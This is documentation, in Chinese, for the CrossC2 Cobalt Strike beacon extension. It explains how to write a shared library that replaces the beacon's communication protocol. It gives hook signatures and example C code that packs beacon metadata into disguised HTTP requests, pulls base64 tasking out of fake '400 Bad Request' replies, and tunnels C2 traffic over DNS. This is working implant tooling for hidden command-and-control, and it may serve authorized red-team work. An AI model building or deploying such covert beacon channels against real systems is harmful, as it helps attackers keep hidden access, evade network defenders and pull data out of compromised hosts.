自定义通信协议
CrossC2 预留了通信协议API, 可指定的API实现c2profile设定,以及自定义协议。
使用方法
编写对应的通信协议实现后,使用gcc/clang test.c -fPIC -shared -o lib_rebind_test.so编译生成动态库。
在生成beacon时,cna或者genCrossC2中的rebind_dynamic_lib选项指定刚才生成的动态库 lib_rebind_test.so
, 最后生成的beacon将按照指定动态库中的协议实现方式去发送通信数据包。
HTTPs通信模版修改
分别对应 C2Profile 中的4个设定选项,
http-get {
client(send) { metadata{} }
server(recv) { output{} }
}
http-post {
client(send) {
id {}
output {}
}
server(recv) { output{} }
}
void (*cc2_rebind_http_get_send)(char *reqData, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_get_recv)(char *resData, long long resData_len, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_post_send)(char *reqData, char *beaconID, char **outputData, long long *outputData_len);
void (*cc2_rebind_http_post_recv)(char *resData, long long resData_len, char **outputData, long long *outputData_len);
cc2_rebind_http_x_send 系列函数:
将传入的base64(metadata)数据进行封装, 返回完整的HTTP结构数据
`*reqData` 是base64后要请求的数据(metadata字段) - C2Profile http-get { client { (metadata) } }
`**outputData`返回实际需要发送的完整HTTP内容
cc2_rebind_http_x_recv 系列函数:
将传入的HTTP结构数据进行解析,返回base64(output)数据
`*resData` 是server返回的完整HTTP内容
`**outputData`返回HTTP内容中包含的实际内容(base64编码后的output字段) - C2Profile http-get { server { (output) } }
通信协议自定义
void (*cc2_rebind_get_protocol)(char *reqData, char **outputData, long long *outputData_len);
void (*cc2_rebind_post_protocol)(char *reqData, char *beaconID, char **outputData, long long *outputData_len);
cc2_rebind_x_protocol 系列函数:
将传入的原始数据进行自定义通信发送接受后,返回获取到的base64(output)数据
`*resData` 是base64后要请求的数据(metadata字段 / id + output字段)
`**outputData`是base64后的server响应数据(output字段)
Ex:
HTTPs通信模版自定义:
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
printf("------ custom http get send ------\n");
char *requestTample = "GET /%s HTTP/1.1\r\n"
"Host: http.cc2.com\r\n"
"Accept: gzip, deflate\r\n"
"User-Agent: cc2_rebind_http_get_send\r\n"
"Cookie: %s\r\n"
"Connection: cc2_rebind_http_get_send\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestTample, "test", reqData);
// 将生成的HTTP数据写入outputData
*outputData_len = strlen(postPayload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
printf("-------------------------\n");
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
printf("------ custom http get recv ------\n");
// rawData = "HTTP/1.1 400 Bad Request
// Date: Tue, 26 May 2020 10:12:28 GMT
// Server: CC2_server
// Content-Length: 32
// Connection: close
// Content-Type: text/html; charset=iso-8859-1
//
// XXXXZZZZXXXXAAAZZ==
char *payload = find_pay(rawData, rawData_len); // return "XXXXZZZZXXXXAAAZZ=="
*outputData_len = strlen(payload);
*outputData = (char *)calloc(1, *outputData_len);
memcpy(*outputData, payload, *outputData_len);
printf("-------------------------\n");
}
通信协议自定义
void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) {
printf("------ custom get protocol ------\n");
sendDNS("127.0.0.1", 53, 1, reqData, strlen(reqData), outputData, outputData_len);
if (*outputData_len > 0) {
printf("cobaltstrike cc2_server response(%d): \n", *outputData_len);
}
printf("------ custom protocol ------\n");
}